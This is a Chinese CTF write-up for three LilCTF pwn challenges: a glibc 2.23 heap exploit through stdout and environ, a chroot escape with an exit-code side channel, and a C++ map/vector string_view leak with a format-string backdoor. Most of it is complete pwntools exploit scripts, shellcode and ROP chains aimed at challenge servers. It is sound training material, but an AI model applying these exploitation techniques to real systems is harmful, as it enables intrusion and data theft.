前言

前不久打了一下Lilctf,全全爆零了,自己还是太菜了,但赛后复现,真的可以学到很多,收获满满

heap_Pivoting

题目分析

静态编译的glibc2.23的堆题,去除了符号表,建议先恢复一下符号表再做题,会方便很多(将sig文件放在ida的sig文件夹里,然后恢复一下就好了,很方便)

大体攻击流程:unstorebin_attack劫持chunk_list,修改main_arena中的topchunk,劫持stdout,flush泄露environ,修改栈ret劫持控制流,orw

之前的main_arena一直都是用来泄露libc的,也没细了解过,卡在这里一直没有进一步的进展,赛后才知晓可以修改topchunk中的内容,来劫持topchunk,实现任意申请,又学到新知识了~~


劫持stdout就是劫持flag标志位和_IO_write_base,ptr,end,就可以利用flush刷新缓冲区泄露了,flush,openat,read,write函数的地址,在恢复符号表后都可以找到,至于environ,是在调试的过程中全局搜索得到的,大家有其他搜索办法的话欢迎留言噢~~,让我再学习学习

屏幕截图 2025-08-25 150543

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

def add(index,content):
sla(b'Your choice:\n',b'1')
sla(b'idx:',str(index).encode())
sa(b'what do you want to say\n',content)

def dle(index):
sla(b'Your choice:\n',b'2')
sla(b'idx:',str(index).encode())

def edit(index,content):
sla(b'Your choice:\n',b'3')
sla(b'idx:',str(index).encode())
sa(b'context: ',content)

def esc():
sla(b'Your choice:\n',b'4')
rsi=0x0000000000401b37
rdi=0x0000000000401a16
rdx=0x0000000000443136
leave=0x0000000000400aa5
syscall=0x00000000004003da
rax=0x000000000041fc84
chunk=0x6ccd60
free_hook=0x6cc5e8
malloc_fook=0x00000000006CA788
stdout=0x6ca740
io_list_all=0x00000000006ca0e0
push_rdi=0x00000000004301de
flush=0x416770
read=0x43fca0
write=0x43fd00
open=0x43fc40
p=process('./pwn')
# p=remote('gz.imxbt.cn',20665)
add(0,b'a'*0x20)
add(1,b'a'*0x60+p64(0)+p64(0x21561))
dle(0)
edit(0,p64(chunk-0x10)*2)
add(2,b'a'*0x20)
edit(0,p64(chunk) + p64(0) + p64(0x6CA858) * 2)
add(3,b'a')

def input(addr, date):
edit(3, p64(addr))
edit(2, date)

flush = 0x416770
environ = 0x6CC640
stdout = 0x6CA300
free_hook = 0x6CC5E8
fake_io = p64(0xFBAD1800)
fake_io += p64(0) # _IO_read_end
fake_io += p64(0) # _IO_read_base
fake_io += p64(environ) # _IO_write_base
fake_io += p64(environ) # _IO_write_ptr
fake_io += p64(environ + 0x10) # _IO_write_end
input(stdout, fake_io)
input(free_hook, p64(flush))
ggg()
dle(0)
stack=l64()
flag=stack-0x180+0xd0
rop=p64(rdi)+p64(flag)+p64(rsi)+p64(0)+p64(open)+p64(rdi)+p64(3)+p64(rsi)+p64(0x6cc000)+p64(rdx)+p64(0x30)+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(0x6cc000)+p64(rdx)+p64(0x30)+p64(write)
rop=rop.ljust(0xd0,b'\x00')+b'flag\x00'
print(hex(stack))
input(stack-0x180,rop)
shell()

The Truman Show

chroot逃逸

参考文章:chroot&namespace逃逸总结 |C_LBY的博客

chroot介绍

在内核中有一个结构体:

1
2
3
4
5
6
7
struct fs_struct {
atomic_t count;
rwlock_t lock;
int umask;
struct dentry * root, * pwd, * altroot;
struct vfsmount * rootmnt, * pwdmnt, * altrootmnt;
};

root:根目录的目录项
pwd:当前工作目录的目录项
altroot:模拟根目录的目录项

而root就是改变了这个进程的内核中的root,也就意味着改变了这个进程的的根目录,但是没有改变当前目录(工作目录)pwd,其实是可以通过工作目录来访问jail之外的,所以一般在chroot之后都会加一个chdir("/"),来将pwd改为根目录,这样无论是root还是pwd,都在jail内了

逃逸方法

  • 这里注意函数int fchdir(int fd),这个函数也是用来改变pwd的,这就意味着,如果系统中如果存在一个fd是在jail之外的,就可以将pwd改变到jail之外,就可以实现chroot逃逸了

  • 这里注意函数openat

    1
    2
    int openat(int dirfd, const char *pathname, int flags, mode_t mode);
    openat(3,"flag",0,0) // 记得一定不要加上/

    pathname为绝对路径,或者是dirfd被设置为AT_FDCWD为,dirfd无效

    否则会打开dirfd文件描述符指向的那个目录所在的文件

    向上述示例,如果3为根目录下的文件描述符,那么上述示例就打开了根目录下的flag文件,实现了chroot逃逸

  • 注意函数linkat

    路径真正的文件实体是 inode,路径名是inode的名字,这个函数可以会创建一个指向同一个inode的新文件

    1
    2
    int linkat(int efd, const char *existingpath, int nfd, const char *newpath, int flags);
    linkat(3,"flag",4,"/newflag",0)

    上述指令会在根目录创建一个新文件newflag,并且这个文件的inode指向文件描述符为3的目录下的flag文件,这样通过打开/newflag文件,就相当于打开了jail外的flag文件,实现了chroot逃逸

    当然如果existingpath或者是newpath为绝对路径的话,对应的efdnfd就会失效

  • 也可以嵌套chroot逃逸(ubuntu24.04以后失效了)

    通过调用chroot,使得pwd不在jail环境内,通过对相对路径上级目录的访问,就可以实现chroot逃逸

exit测信道

exit() 会把传入的整数作为 退出码 (exit code) 返回给父进程。

父进程或者攻击者可以用:echo $?来打印这个退出码,就可以泄露flag了

题目分析

在本地运行程序和gdb调试的时候由于权限不够,不能调用chroot,加个权限就好了

1
2
sudo setcap cap_sys_ptrace+ep $(which gdb)
sudo setcap cap_sys_chroot+ep ./chtest

这里可以看到,他留了一个jail外的fd为2

image-20250825230659034

看一下沙盒

屏幕截图 2025-08-25 231354

基本也就这样了,直接上exp:

完整exp

本地exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
import sys

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

flag = ""

for off in range(0x30):
while True:
try:
p = process('./chtest')

shellcode = f'''
push 0x67616c66
push rsp
pop rsi
push 2
pop rdi
xor edx, edx
mov ax, 0x101
syscall

push rax
pop rdi
pop rdx
xor eax, eax
syscall

mov edi, dword ptr [rsp-{8-off}]
push 60
pop rax
syscall
'''
sc = asm(shellcode)

p.recvuntil("Now it's your show time")
p.send(sc)

p.wait() # 等待退出
exit_code = p.poll() # 取退出码
log.success(f"Program exited with code: {exit_code:#x}")

if 0x20 <= exit_code <= 0x7e: # 可见字符
ch = chr(exit_code)
flag += ch
print(f"[+] Got char {ch!r} at offset {off}")

if ch == "}":
print("[+] Flag complete!")
print("FLAG =", flag)
sys.exit(0)
break # 下一 offset

p.close()
time.sleep(0.1)

except Exception as e:
print("[!] Exception:", e)
try:
p.close()
except:
pass
time.sleep(0.1)

print("FLAG =", flag)

远程exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
remote
from pwn import *
import sys

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

flag = ""

for off in range(0x30):
while True:
try:
p = remote('gz.imxbt.cn', 20797)

shellcode = f'''
push 0x67616c66
push rsp
pop rsi
push 2
pop rdi
xor edx, edx
mov ax, 0x101
syscall

push rax
pop rdi
pop rdx
xor eax, eax
syscall

mov edi, dword ptr [rsp-{8-off}]
push 60
pop rax
syscall
'''
sc = asm(shellcode)

ru("Now it's your show time")
s(sc)

data = p.recvall(timeout=2)
print("raw:", data)

last_line = data.strip().split(b'\n')[-1]
exit_code = int(last_line)

if 0x20 <= exit_code <= 0x7e: # 可见字符
ch = chr(exit_code)
flag += ch
print(f"[+] Got char {ch!r} at offset {off}")

if ch == "}": # 检测到结尾
print("[+] Flag complete!")
print("FLAG =", flag)
sys.exit(0)
break # 继续下一个 offset

p.close()
time.sleep(0.1)

except Exception as e:
print("[!] Exception:", e)
try:
p.close()
except:
pass
time.sleep(0.1)

print("FLAG =", flag)

I like C艹

前置学习

第一次尝试和C++的vector动态数组堆管理和STL有关的题目,学到了不少

这个题目用到了C++ STL 的容器类 std::map,而map底层是通过红黑树来来实现的

std::map<Key, T> 是一个 模板类,所以 键(Key)和值(T)都是自己定义的类型,本题中

1
std::map<std::string,std::vector<item>>::map(db, argv);

key为string,T为vector<item>,这一行也就相当于创建了一个空的map,现在像map中插入一个节点,看一下内存中的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def addt(typea):
sla(b'Enter your choice: ',b'1')
sla(b'Enter item type: ',typea)

def add(typed,name,des):
sla(b'Enter your choice: ',b'2')
sla(b'Enter item type: ',typed)
sla(b'Enter item name: ',name)
sla(b'Enter item description: ',des)

def edit(typed,index,name,des):
sla(b'Enter your choice: ',b'3')
sla(b'Enter item type: ',typed)
sla(b'Enter item index: ',str(index).encode())
sla(b'Enter item name: ',name)
sla(b'Enter item description: ',des)

def show(typed,index):
sla(b'Enter your choice: ',b'4')
sla(b'Enter item type: ',typed)
sla(b'Enter item index: ',str(index).encode())

p=process('./pwn')
addt(b'type1')
1
2
3
4
5
6
7
8
pwndbg> x/60gx 0x64c53ae862a0
0x64c53ae862a0: 0x0000000000000000 0x0000000000000061
0x64c53ae862b0: 0x0000000000000001 0x00007ffda54dfcb8
0x64c53ae862c0: 0x0000000000000000 0x0000000000000000
0x64c53ae862d0: 0x000064c53ae862e0 0x0000000000000005
0x64c53ae862e0: 0x0000003165707974 0x0000000000000000
0x64c53ae862f0: 0x0000000000000000 0x0000000000000000
0x64c53ae86300: 0x0000000000000000 0x000000000000ed01

从0xb0~0xd0是红黑树自身的结构指针:

0xb0的比特代表这个这个节点是红色还是黑色,目前是1,所以这个节点是红色,后0x18的空间依次代表此节点的父节点,左节点,右节点,0x00007ffda54dfcb8中储存着是这棵树目前的状态,包含这棵树的根,最左节点,最右节点,存储的节点的数量等等,感兴趣的可以自己学习一下


0xd0~0xf0是string的实现:

前8个字节代表着指向str的ptr,再之后的8个字节代表着str的length,而之后的0x10的长度则用来存储string,如果str的长度超过了0x10(实际比这个长度要小,具体没有仔细尝试),就会动态分配chunk,貌似和vector的分配机制是一样的,按照1,2,4,8,16…这样来分配的,先将数据存储到这个chunk中,如果chunk的大小不够,就会free这个chunk,然后分配一个更大的chunk,将数据拷贝过来,接着存储数据,这样子,上述例子只有5个字节的str,完全够用,所以没有额外分配chunk


最后0xf0~0xf8,这三个槽位对应的vector<item>,接下来向其中添加一个item,看一下效果

1
add(b'type1',b'taotao',b'a'*0x10)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/60gx 0x60fd90b242a0
0x60fd90b242a0: 0x0000000000000000 0x0000000000000061
0x60fd90b242b0: 0x0000000000000001 0x00007ffccc908148
0x60fd90b242c0: 0x0000000000000000 0x0000000000000000
0x60fd90b242d0: 0x000060fd90b242e0 0x0000000000000005
0x60fd90b242e0: 0x0000003165707974 0x0000000000000000
0x60fd90b242f0: 0x000060fd90b24310 0x000060fd90b24370
0x60fd90b24300: 0x000060fd90b24370 0x0000000000000071
0x60fd90b24310: 0x000060fd90b24320 0x0000000000000006
0x60fd90b24320: 0x00006f61746f6174 0x0000000000000000
0x60fd90b24330: 0x000060fd90b24380 0x0000000000000010
0x60fd90b24340: 0x000000000000001e 0x0061616161616161
0x60fd90b24350: 0x0000000000000006 0x000060fd90b24320
0x60fd90b24360: 0x0000000000000010 0x000060fd90b24380
0x60fd90b24370: 0x0000000000000000 0x0000000000000031
0x60fd90b24380: 0x6161616161616161 0x6161616161616161
0x60fd90b24390: 0x0000000000000000 0x0000000000000000

可以看到,原本是空的,现在已经存储了指针,这三个ptr类似于io结构体中缓冲区的实现,是分别是base,ptr,end

目前可以看到ptr和end已经一样了,说明已经满了,如果再次添加item,就会将目前这个chunk free掉也就是0x000060fd90b24310,然后然后分配一个更大的chunk,将数据拷贝过来,并更新ptr,按照1,2,4,8,16…这样来分配chunk

那顺便将题目中item这个结构体也说一下吧

image-20250825102238645

从上面的0x000060fd90b24310内存中的数据和item的构造函数来看,其实就是两个string加了这两个string中string_view,也就是length和ptr,共0x60的大小

题目分析

可以看到,在case3的edit函数实现中,只修改了item结构体的两个string,却没有修改string_view

image-20250825102956858

而在case4的show函数实现中,却是通过string_view来实现的,故可以利用此来泄露信息

image-20250825103152338

当然在case0x1BF52,题目还给了后门漏洞fmt,后面再说

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
import sys

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

def addt(typea):
sla(b'Enter your choice: ',b'1')
sla(b'Enter item type: ',typea)

def add(typed,name,des):
sla(b'Enter your choice: ',b'2')
sla(b'Enter item type: ',typed)
sla(b'Enter item name: ',name)
sla(b'Enter item description: ',des)

def edit(typed,index,name,des):
sla(b'Enter your choice: ',b'3')
sla(b'Enter item type: ',typed)
sla(b'Enter item index: ',str(index).encode())
sla(b'Enter item name: ',name)
sla(b'Enter item description: ',des)

def show(typed,index):
sla(b'Enter your choice: ',b'4')
sla(b'Enter item type: ',typed)
sla(b'Enter item index: ',str(index).encode())

p=process('./pwn')
addt(b'type1')
add(b'type1',b'taotao',b'a'*0x10)
edit('type1',0,b'taotao',b'a'*0x20)
show(b'type1',0)
ru(b'Item description: ')
heap_base=((u64(p.recv(5).ljust(8,b'\x00')))<<12)-0x12000
print(hex(heap_base))
ggg()

shell()

如此便可以泄露heap_base

接着看一下后门case,可以看到,如果v32=arr[0]的验证通过,就会向init里写入函数地址,然后在错误输入的时候会调用这个函数(这里好像和v30没有关系,无论v30是啥,最后都会调用偏移为0xea3c的函数)

由于我们已经泄露了heap的地址,而v32就是heap的地址,所以可以通过验证判断

屏幕截图 2025-08-25 144333

屏幕截图 2025-08-25 144341

跟进偏移为0xea3c的函数后发现,是空函数的连续调用,然后就可以在最深层调用发现后门函数

image-20250825144709698

先通过fmt泄露stack,canary,libc,然后用scanf的溢出,就可以成功劫持控制流

注意 这里要注意避免输入\x0a,\x20等等会使scanf停止读入的字符,导致rop链不完整


完整exp

最后远程不能getshell,用orw来读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *
import sys

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

def addt(typea):
sla(b'Enter your choice: ',b'1')
sla(b'Enter item type: ',typea)

def add(typed,name,des):
sla(b'Enter your choice: ',b'2')
sla(b'Enter item type: ',typed)
sla(b'Enter item name: ',name)
sla(b'Enter item description: ',des)

def edit(typed,index,name,des):
sla(b'Enter your choice: ',b'3')
sla(b'Enter item type: ',typed)
sla(b'Enter item index: ',str(index).encode())
sla(b'Enter item name: ',name)
sla(b'Enter item description: ',des)

def show(typed,index):
sla(b'Enter your choice: ',b'4')
sla(b'Enter item type: ',typed)
sla(b'Enter item index: ',str(index).encode())

def backdoor():
ru(b'Enter your choice: ')
sl(str(0x1BF52).encode())
ru(b'\x88')
sl(str(he(0x12400)).encode())
libc=ELF('./libc.so.6')
# p=process('./pwn')
p=remote('gz.imxbt.cn',20132)
addt(b'type1')
add(b'type1',b'taotao',b'a'*0x10)
edit('type1',0,b'a/flag',b'a'*0x20)
show(b'type1',0)
ru(b'Item description: ')
heap_base=((u64(p.recv(5).ljust(8,b'\x00')))<<12)-0x12000
print(hex(heap_base))
backdoor()
ru(b'Enter your choice: ')
sl(b'8')
ru(b'Invalid choice.')
sl(b'%6$p%15$p%54$ptaotao')
ru(b'0x')
stack=int(ru(b'0x')[:-2],16)
canary=int(ru(b'0x')[:-2],16)
libc_base=int(ru(b'tao')[:-3],16)-0x203ac0
print(hex(stack))
print(hex(canary))
print(hex(libc_base))
system,binsh=getshell()
rdi=li(0x000000000010f75b)
rsi=li(0x000000000010f759)#pop rsi;pop_r15
rdx=li(0x00000000000981ad)#pop rdx ;leave_ret
rbp=li(0x0000000000028a91)
open=lis('open')
read=lis('read')
write=lis('write')
flag=he(0x12321)
payload=b'a'*0x18+p64(canary)+b'a'*0x18
payload+=p64(rdi)+p64(flag)+p64(rsi)+p64(0)*2+p64(open+4)+p64(rdi)+p64(3)+p64(rsi)+p64(he(0x12500))+p64(0)+p64(rbp)+p64(stack+0x98)+p64(rdx)+p64(0x30)+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(he(0x12500))+p64(0)+p64(write)
# payload=b'a'*0x18+p64(canary)+b'a'*0x18+p64(rdi+1)+p64(rdi)+p64(binsh)+p64(system) 本地可通
ru(b'tao')
print(hex(open))
sl(payload)
shell()